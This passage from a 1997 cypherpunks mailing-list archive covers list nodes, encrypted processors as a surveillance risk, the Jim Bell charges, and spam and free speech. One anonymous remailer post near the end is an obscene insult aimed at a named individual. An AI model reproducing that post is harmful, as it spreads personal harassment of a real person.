conjunction with Intel's P7, which will support encrypted instruction sets.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 25 May 1997 02:42:58 +0800
To: ichudov@algebra.com (Igor Chudov @ home)
Subject: Re: Too few cypherpunks nodes.
In-Reply-To: <199705240549.AAA11795@manifold.algebra.com>
Message-ID: <199705241834.NAA15516@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705240549.AAA11795@manifold.algebra.com>, on 05/23/97 
   at 11:49 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Ladies and Gentlemen,

>As the time goes on and I see what is happening inside and outside our
>list, I am getting increasingly concerned about the small number of hosts
>in the cypherpunks network.

>Practically, most of the people use only two nodes, Kent's and mine, and
>thanks to Jim, we have three operating ones. I do not believe that it is
>good enough.

>If anyone has any creative idea of how to get a couple more reliable
>nodes, please share it.

I should have a new node up shorly.

This will be a cypherpunks-digest node.

I plan on taking input from the 3 current nodes, remove any duplicates and
then send out 1 or 2 digest messages a day (depending on volume).

I will be working this weekend on the digest code, hopfully I can have
things up and running sometime next week depending on how much time "real"
work takes up.

Once I have the digest list set-up I can start posting some statistics on
the "quality of service" on the various lists.

I do not plan on filtering any traffic with the exception of "denial of
service" attacks (100 ascii art messages, ...). I may not have to even do
this if the other lists already take care of this.

As soon as I have more info I will post it to the list.

PS: What does everyone think of CC: alt.cypherpunks with the digest?


Thanks,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: He who laughs last uses OS/2.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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75oeD0/x6MaYIE1jePrAQvqkNcvzVCMbvdSkBCH1rFSLhoGECsh1jXgvWmPieRfB
7sedYwX1UTVOPz/YLvHh0BcCuevbq1V5vZD/PzhIwxskT1CNLfYkcoM/lph/HpAZ
Aaa3bo/09+k=
=9HJY
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 24 May 1997 22:09:56 +0800
To: ichudov@algebra.com
Subject: Re: Too few cypherpunks nodes.
In-Reply-To: <199705240549.AAA11795@manifold.algebra.com>
Message-ID: <199705241310.OAA01190@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
> As the time goes on and I see what is happening inside and outside our
> list, I am getting increasingly concerned about the small number of hosts
> in the cypherpunks network.
> 
> Practically, most of the people use only two nodes, Kent's and mine, and
> thanks to Jim, we have three operating ones. I do not believe that it is
> good enough.

Does anyone know how many people are using Jim's cypherpunks@ssz.com?
If you send `who cypherpunks' to it you get back an empty mail.  But
he has stated that he does this on purpose to protect the privacy of
his subscribers...  It would still be nice to know how _many_ are on
ssz.com as opposed to _who_ is on ssz.com, just to know approx. the
architecture of the lists for such purposes.

Also I might point out that the afforded privacy is mostly illusionary
because any TLA who cared could observe the mail fanning out from
ssz.com with Sender: cypherpunks-owner@ssz.com and reconstruct the
list in short order.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 25 May 1997 04:50:19 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Key Recovery / The True Story
In-Reply-To: <3.0.32.19970524122113.00756270@netcom13.netcom.com>
Message-ID: <199705242034.PAA16620@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.32.19970524122113.00756270@netcom13.netcom.com>, on 05/24/97 
   at 01:50 PM, Lucky Green <shamrock@netcom.com> said:

>At 01:59 PM 5/23/97 -0700, Ernest Hua wrote:
>>    Is it EVER okay for spooks to break into a church's computer to
>>    find out if they are secret terrorists?
>>
>>I'm not sure the answer is clearly one way or another, and I am
>>willing to bet that the tone of the answers will mostly be emotional
>>appeals to some idealistic standard or pessimistic nightmares.

>>From a pragmatic standpoint,  if the feds can burn down a church with the
>worshippers still inside with impunity, it stands to reason that breaking
>into their computers would not be a very big deal.

Cromwell for Presedent??

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: This marks Logical End-Of-Message. Physical EOM follows

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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l4XnVV7PHl4=
=6el0
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 25 May 1997 08:06:15 +0800
To: cypherpunks@algebra.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <199705240031.TAA06112@mailhub.amaranth.com>
Message-ID: <19970524165207.54369@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 24, 1997 at 12:48:52AM -0400, Lynne L. Harrison wrote:
[...]
>Agreed.  As we all know, tax evasion charges have been used by the IRS when
>the FBI has felt that it is unable to prove other charges.  Its use against
>organized crime is a prime example.

IANAL, but in this case it looks like the IRS was involved from the 
beginning. 

[...]
>the SS number charges and the failure to file income tax returns.  Perhaps,
>the other acts, wherein no specific statutes are alleged to have been
>violated, are mentioned as a means to make a showing that Bell is a danger to
>the community and, therefore, a factor for asking the magistrate to set no
>bail.

And to establish motive.

Is it perhaps possible that, since the charge includes the idea of
"interfering" with the IRS, that there was an element of
"intimidation", and so on, that there may be specific clauses in the
statute cited that may have bearing?

[...]

>If there is one.  As you stated above and IMHO based upon what I have read,
>the IRS has a strong case regarding the SS numbers/tax evasion charges.  This
>matter may very well be resolved via a plea bargain.

It also seems to me that the IRS has a potentially strong case.  Given
that, what would be Bell's likely sentence, and how much could he
reduce it with a plea bargain? It certainly seems like the
weapons/AP/poison_gas/sabatoge stuff makes it *much* harder for him to
plea bargain (which may be why it is there). 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 25 May 1997 06:27:37 +0800
To: cypherpunks@algebra.com
Subject: Algebra.com Lag Test
Message-ID: <199705242219.RAA17753@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2...Opens up Windows, shuts up Gates.

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Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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=LgkZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 25 May 1997 06:31:32 +0800
To: cypherpunks@cyberpass.net
Subject: Cyberpass Lag Test
Message-ID: <199705242220.RAA17767@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Taking the wind out of Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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3I9Ah1VxBAw=
=+Gyu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 25 May 1997 12:01:48 +0800
To: Dave Emery <cypherpunks@toad.com
Subject: Re: Beware of encrypted processors bearing gifts...
Message-ID: <3.0.32.19970524204444.00739384@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:28 PM 5/24/97 -0400, Dave Emery wrote:
>	A three way encrypted handshake between an encrypted agent that
>was part of the OS and  a smart card and software at an ISP could be
>used to enforce an internet drivers license law for  example, with no
>packets being forwarded by the ISP without hard  authentication (even up
>to biometrics) of the user.  And it would be rather trivial to disallow
>use of "unapproved" software to communicate over the net, making
>enforcement of GAK much more complete.  One could even use such a
>mechanism to forbid use of any  uncertified software on a net connected
>machine, thus making it rather hard to use such rogue applications as
>PGP.

I strongly agree with you. While the motivation that lead to the
development of such processors stems probably from the desire to thwart
software piracy, it will make implementation of the "Internet Driver
License" that much easier.

[For those new to Cypherpunks, I consider the requirement for an Internet
Driver License as inevitable as the sun raising tomorrow morning. While the
event is technically in the future, it will occur with a certainty that it
may just as well have already happened in the past. Read the graphic novel
"Watchmen" if you don't understand what I am talking about. Sure, there is
a small but no-zero probability that the Earth will be vaporized before
sunrise by a timebomb left by aliens 3.5 million years ago. That's why I
wrote "as inevitable", as opposed to "inevitable".]

Smartcard readers and processors with encrypted instruction sets are just a
first step to the ultimate goal, requiring biometric authentication to the
applications on your machine. Some will claim they won't use such machines
and  stick to their old Pentium Pro's. I just threw out an old 286, because
I couldn't find a single person that wanted it for free. Your 200 MHz
Pentium Pro will be just as useful as that old 286 a few years hence. Sure,
it will still operate and you can even run some old programs on it.  But it
simply will be unsuitable as your primary machine. Instead, you will find
yourself using a box that runs code you can't possible figure out what it
does and requires biometric authentication for login.

Have fun,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 25 May 1997 13:34:14 +0800
To: cypherpunks@cyberpass.net
Subject: More Sky Station Info
Message-ID: <v03102800afad7cccc812@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Wed, 21 May 1997 08:11:54 -0700
>Subject: More Sky Station Info
>From: "Dewayne-Net Information List" <dewayne-net@odo.warpspeed.com>
>To: dewayne-net@warpspeed.com (Dewayne's Wireless News List)
>Mime-Version: 1.0
>Precedence: Bulk
>Reply-To: dewayne-net@warpspeed.com
>
>>>  The FCC just approved Sky Station International, a plan to provide
>>>  T1-level service (1.5Mbps) to your laptop via giant "weather balloons."
>>
>>http://www.fcc.gov/Bureaus/International/Public_Notices/1996/pnin6060.txt
>>http://www.fcc.gov/ib/wrc97/texts/iwg1-m3.txt
>>http://www.fcc.gov/ib/wrc97/texts/iwg6-m5.txt
>>http://www.fcc.gov/ib/wrc97/texts/iwg6-m3.txt
>>
>>   The stations themselves will be platforms held at a height of
>>   approximately 100,000 feet by lighter-than-air craft and station-kept
>>   by corona ion engines.
>
>--
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>Dewayne Hendricks, WA8DZP ! AOL: HENDRICKS
>Warp Speed Imagineering   ! Internet: dewayne@warpspeed.com
>43730 Vista Del Mar       ! Packet Radio: WA8DZP @ K3MC.#NOCAL.CA.USA.NOAM
>Fremont, CA 94539-3204    ! WWW: <http://www.warpspeed.com/>
>Fax: (510) 770-9854       !
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Sun, 25 May 1997 10:52:51 +0800
To: cypherpunks@toad.com
Subject: Beware of encrypted processors bearing gifts...
Message-ID: <199705250228.WAA28391@pig.die.com>
MIME-Version: 1.0
Content-Type: text


Lucky Green wrote :

> 
> Actually, it is 10 million keyboards with smartcard readers. Unless Intel
> increased the lot size. I talked with a person at Intel attempting to
> purchase the devices back in October, 1996. He expressed the difficulties
> they were having finding a keyboard vendor who understood that the CPU
> should not be directly involved in the smartcard operation. From this
> discussion, I assumed the purpose of the devices is authentication.
> 
> The keyboards might be for an ecommerce solution or they might be used in
> conjunction with Intel's P7, which will support encrypted instruction sets.


	I find the notion of an extremely wide deployment (as any Intel
x86 product will be) of machines with processors that support encrypted
instruction sets and associated smart cards deeply disquieting.

	It seems to me that this is enabling technology that would allow
the insertion of autonomous encrypted 'little brothers', into operating
systems and perhaps major net applications such as web browsers as
well..  These 'little brother' observers could be made completely opaque
to even determined and sophisticated users - with encrypted code and the
potential for encryption of all their data it would require breaking the
encryption for an independant entity to understand what such an agent
was doing and who it was doing it for.  And by making support of such
agents part of the encrypted inner ring of an OS (Win99?), it might be 
very nearly impossible to run the OS without the agent or agents present
and operating properly.   And as more and more PCs are net connected,
such agents would not need to operate entirely autonomously, as they
could communicate over encrypted links with their Big Brother somewhere
else.

	The sea change in computing that would result from providing a
mechanism for secret, black box, unknowable and unalterable code to run
on the worlds personal computers is very significant.  Up to now it has
been possible, with effort and skill and intelligence, to determine what
the code of any OS or application did by decompiling it, or use of
software ICEs, debuggers, and even hardware monitors such as ICE's and
logic analyzers. Presumably an encrypted Intel processor will reveal
these secrets only to a very limited group of trusted developers, and
perhaps even then only information about the application or layer the
person is authorized to work on.

	Having both the ability to know what code is doing, and the
ability to alter it has so far detered most attempts to put unfriendly
agents into OS or applications code.  It has  been too easy to discover
them, and too easy to disable them for this to be a really effective
tool of social control, as witnessed by the failure of generations of
copy protection schemes.  But a truly secure encrypted processor changes
things a lot - both understanding what the code does and  modifying it
become near impossible.

	While one can readily understand and even sympathize with the use
of such entities to control and perhaps even largely eliminate software
piracy and other theft of intellectual property, the potential uses of
secure agents to implement more sinister social policy are frightening.

	A three way encrypted handshake between an encrypted agent that
was part of the OS and  a smart card and software at an ISP could be
used to enforce an internet drivers license law for  example, with no
packets being forwarded by the ISP without hard  authentication (even up
to biometrics) of the user.  And it would be rather trivial to disallow
use of "unapproved" software to communicate over the net, making
enforcement of GAK much more complete.  One could even use such a
mechanism to forbid use of any  uncertified software on a net connected
machine, thus making it rather hard to use such rogue applications as
PGP.

	And given that independant review of such secret OS code would be
near impossible, adding a Digital Telephony style watcher that could be
turned on via an encrypted packet from the net to record the user's
actions and what he typed or even access encryption keys or plaintext of
encrypted traffic would simply require collusion between the OS supplier
and the government, perhaps under pressure of antitrust enforcement or
other suitable incentivization.  Discovering that such a secret trojan
was in the encrypted inner kernal code would not be easy, especially if
it was only used rarely...
	
	Perhaps most sinister, as more and more of the code run on a PC
becomes encrypted and opaque, it gets easier and easier for a trojan
created not by a Big Brother state, but by criminal elements or foreign or
industrial spies, to hide amidst all the other layers of encrypted
code, safe from being detected by all but the few in possesion of the
master keys or special hardware required to understand what was going
on.

						Dave Emery
						die@die.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 25 May 1997 11:45:48 +0800
To: whgiii@amaranth.com
Subject: Re: Too few cypherpunks nodes.
In-Reply-To: <199705241834.NAA15516@mailhub.amaranth.com>
Message-ID: <199705250338.WAA26600@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


digest is a standard function of majordomo

igor

William H. Geiger III wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199705240549.AAA11795@manifold.algebra.com>, on 05/23/97 
>    at 11:49 PM, ichudov@algebra.com (Igor Chudov @ home) said:
> 
> >Ladies and Gentlemen,
> 
> >As the time goes on and I see what is happening inside and outside our
> >list, I am getting increasingly concerned about the small number of hosts
> >in the cypherpunks network.
> 
> >Practically, most of the people use only two nodes, Kent's and mine, and
> >thanks to Jim, we have three operating ones. I do not believe that it is
> >good enough.
> 
> >If anyone has any creative idea of how to get a couple more reliable
> >nodes, please share it.
> 
> I should have a new node up shorly.
> 
> This will be a cypherpunks-digest node.
> 
> I plan on taking input from the 3 current nodes, remove any duplicates and
> then send out 1 or 2 digest messages a day (depending on volume).
> 
> I will be working this weekend on the digest code, hopfully I can have
> things up and running sometime next week depending on how much time "real"
> work takes up.
> 
> Once I have the digest list set-up I can start posting some statistics on
> the "quality of service" on the various lists.
> 
> I do not plan on filtering any traffic with the exception of "denial of
> service" attacks (100 ascii art messages, ...). I may not have to even do
> this if the other lists already take care of this.
> 
> As soon as I have more info I will post it to the list.
> 
> PS: What does everyone think of CC: alt.cypherpunks with the digest?
> 
> 
> Thanks,
> 
> - -- 
> - -----------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.                        
> - -----------------------------------------------------------
>  
> Tag-O-Matic: He who laughs last uses OS/2.
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Registered_User_E-Secure_v1.1b1_ES000000
> 
> iQCVAwUBM4dCe49Co1n+aLhhAQHpPwQAwnwWWNlGh8MnERO9kkgJsF+CKuBwKh6q
> 75oeD0/x6MaYIE1jePrAQvqkNcvzVCMbvdSkBCH1rFSLhoGECsh1jXgvWmPieRfB
> 7sedYwX1UTVOPz/YLvHh0BcCuevbq1V5vZD/PzhIwxskT1CNLfYkcoM/lph/HpAZ
> Aaa3bo/09+k=
> =9HJY
> -----END PGP SIGNATURE-----
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 25 May 1997 13:58:06 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@EINSTEIN.ssz.com>
Subject: Re: SIGH Geiger clueless again
In-Reply-To: <199705240107.UAA21651@einstein.ssz.com>
Message-ID: <19970524224202.41456@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 23, 1997 at 08:07:01PM -0500, Jim Choate wrote:
> Forwarded message:
> 
> > From: "William H. Geiger III" <whgiii@amaranth.com>
> > Date: Fri, 23 May 97 08:29:59 -0500
> 
> > No not at all. Just because I am connected to the network I am under no
> > obligation to accept a single bit. I don't have to ever download any mail
> > or I can download all or I can pick and choose what I accept or what I
> > don't.
> 
> Exactly,

Once a bit is on the wire you either accept it or effectively 
disconnect.  Period.  If you (or your lower network layer surrogates) 
convince the other side not to send, that's one thing.  But at the 
point the bits enter your site, you have no choice.

> This is the whole point of a firewall after all. Simply connecting your
> cable to a publicly accessible source implies no more than having your
> driveway end in a public street. It is NOT an open invitation to stroll
> through your living room.

That's a false analogy.  You really say "send me *all* bits, and I will 
look at them and *decide* what to do with them."  Your firewall has to 
receive the bits before it can decide what to do about them.  Any 
decision about what bits to send and what bits not to send must be 
made externally to you -- your equipment and software automatically 
receives every single bit sent to it.

> > Obviously you have not ever entered into contract agreements with an
> > accesses provider. There is no obligation on my part to receive a single
> > bit. If I never run a sendmail daemon then I will never receive a single
> > e-mail message regardless of how many are aimed at my servers. This is the
> > same with any TCP/IP service. The only obligation I have with my upstream
> > provider is to pay my bill. If I choose to bounce everything that is
> > routed from Spamford it is my right to do so as it is *MY* equipment. 
> 
> This is certainly the exact case between myself and my provider for SSZ.

You have to receive the bits before you bounce them.

As far as turning off your sendmail daemon -- that is just moving the
discussion up a protocol level.  You are still stuck with the choice
of accepting all mail, or disconnecting and receiving none -- if you
elect to receive any mail you receive it all.  Once you get it, you
can decide to throw it away, but you still have to receive it to make
that decision.

This is the conundrum of spam.  It exploits a fundamental weakness in
our communication protocols, and illustrates a fundamental
philosophical problem in the realm of freedom of speech through a
finite bandwidth communication channel -- what happens when someone
uses their freedom of speech to overload the channel, thus interfering
with everyone else's freedom of speech? (An information theoretic
"tragedy of the commons".)

Clearly, it seems to me, freedom of speech should not include the
freedom to destroy others freedom of speech by overloading the
channel.  But to avoid this problem you need protocols that govern
access to the channel...protocols which do not exist for email.

And even if you develop such protocols you still have the channel 
overload problem.  You can only read so much email a day -- your 
human input bandwidth is limited.  The supply of interesting email is 
essentially unlimited.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 25 May 1997 14:34:44 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Beware of encrypted processors bearing gifts...
In-Reply-To: <3.0.32.19970524204444.00739384@netcom13.netcom.com>
Message-ID: <v03102803afad81d4f6ad@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>I strongly agree with you. While the motivation that lead to the
>development of such processors stems probably from the desire to thwart
>software piracy, it will make implementation of the "Internet Driver
>License" that much easier.

I don't agree.  Although some in D.C. and elsewhere might push for such
measure they would never pass constitutional muster.  And if they did there
would be enough taking civil disobedient action or greater to thwart such
measures.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 25 May 1997 14:31:01 +0800
To: Dave Emery <die@pig.die.com>
Subject: Re: Beware of encrypted processors bearing gifts...
In-Reply-To: <199705250228.WAA28391@pig.die.com>
Message-ID: <v03102801afad801a8ed0@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


The fly in this somewhat "paranoid" ointment is that if it were believeably
rumoured to be true it would set off a stampede to alternate platforms
(Alpha, Power PC, etc.), potentially destroying Intel.  I would not trust
such a platform, but many of the sheeple might until a few high-profile
cases surfaced.

>	I find the notion of an extremely wide deployment (as any Intel
>x86 product will be) of machines with processors that support encrypted
>instruction sets and associated smart cards deeply disquieting.
>
>	It seems to me that this is enabling technology that would allow
>the insertion of autonomous encrypted 'little brothers', into operating
>systems and perhaps major net applications such as web browsers as
>well..  These 'little brother' observers could be made completely opaque
>to even determined and sophisticated users - with encrypted code and the
>potential for encryption of all their data it would require breaking the
>encryption for an independant entity to understand what such an agent
>was doing and who it was doing it for.  And by making support of such
>agents part of the encrypted inner ring of an OS (Win99?), it might be
>very nearly impossible to run the OS without the agent or agents present
>and operating properly.   And as more and more PCs are net connected,
>such agents would not need to operate entirely autonomously, as they
>could communicate over encrypted links with their Big Brother somewhere
>else.


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 25 May 1997 14:26:34 +0800
To: frissell@panix.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
Message-ID: <v03102804afad852bbf6f@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>"Beginning at a time unknown, and continuing to the present, at Vancouver,
>within the Western District of Washington and elsewhere, JAMES DALTON BELL
>did corruptly obstruct and impede and endeavor to obstruct and impede the
>due administration of the internal revenue laws, among other things, by
>collecting the names and home addresses of agents and employees of the
>Internal Revenue Service ("IRS") in order to intimidate them in the
>performance of their official functions;"

It seems Jim was a might careless leaving sensitive information lying
around unencrypted.  If true he deserves to serve time for criminal
stupidity.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 25 May 1997 13:11:47 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Too few cypherpunks nodes. (fwd)
In-Reply-To: <199705241406.JAA23220@einstein.ssz.com>
Message-ID: <199705250454.XAA26987@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> Forwarded message:
> > Date: Sat, 24 May 1997 14:10:59 +0100
> > From: Adam Back <aba@dcs.ex.ac.uk>
> > Subject: Re: Too few cypherpunks nodes.
> > Does anyone know how many people are using Jim's cypherpunks@ssz.com?
> 
> I don't even check, less than 100 for shure and probably less than 25.
> Don't remember seeing that many notices of subscription to the cpunks list.
> There are a LOT of info and help requests though.

Maybe we should put together a short document describing what cypherpunks
lists are there and how to choose them. We can mentions all nodes -- ssz,
cyberpass, and algebra -- in that document.

> > Also I might point out that the afforded privacy is mostly illusionary
> > because any TLA who cared could observe the mail fanning out from
> > ssz.com with Sender: cypherpunks-owner@ssz.com and reconstruct the
> > list in short order.
> 
> True, but in that case they can simply walk in with a subpeonae and take it
> as well, it is sitting there in a plain text file. The reason I do this is to
> minimize spammings and other such attacks it is not to protect anyone from a
> truly determined assault but rather from those marketing idiots out there
> with no clue as to anything close to reasonable behaviour.

This sounds like a reasonable choice, although I chose not to do it.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 25 May 1997 16:15:35 +0800
To: Cypherpunks Distributed Remailer <kent@songbird.com>
Subject: Re: SIGH Geiger clueless again
Message-ID: <199705250802.BAA27333@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 24 May 97 at 22:42, Kent Crispin wrote:

> This is the conundrum of spam.  It exploits a fundamental weakness
> in our communication protocols, and illustrates a fundamental
> philosophical problem in the realm of freedom of speech through a
> finite bandwidth communication channel -- what happens when someone
> uses their freedom of speech to overload the channel, thus
> interfering with everyone else's freedom of speech? (An information
> theoretic "tragedy of the commons".)
> 
> Clearly, it seems to me, freedom of speech should not include the
> freedom to destroy others freedom of speech by overloading the
> channel. 

There we go, full circle to what started this whole thread.  And 
quite well put.  Seems as if EVERYONE is really clueless about this 
one, not just WHG3.

> But to avoid this problem you need protocols that govern
> access to the channel...protocols which do not exist for email.

And we don't want those.  I think.  1 am on a Saturday, and it's 
really confusing.  As long as I get to keep doing what it is I'm 
doing, I'm happy.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 26 May 1997 02:04:19 +0800
To: cypherpunks@toad.com
Subject: GAK
Message-ID: <199705251746.KAA29719@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[unt] May carries a turd in his wallet for identification purposes.

      \|||/
      (o o)
  -ooO-(_)-Ooo- Timothy C[unt] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 26 May 1997 00:22:22 +0800
To: cypherpunks@einstein.ssz.com
Subject: SSZ Lag Test
Message-ID: <199705251607.LAA28236@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The CP/M of the future!

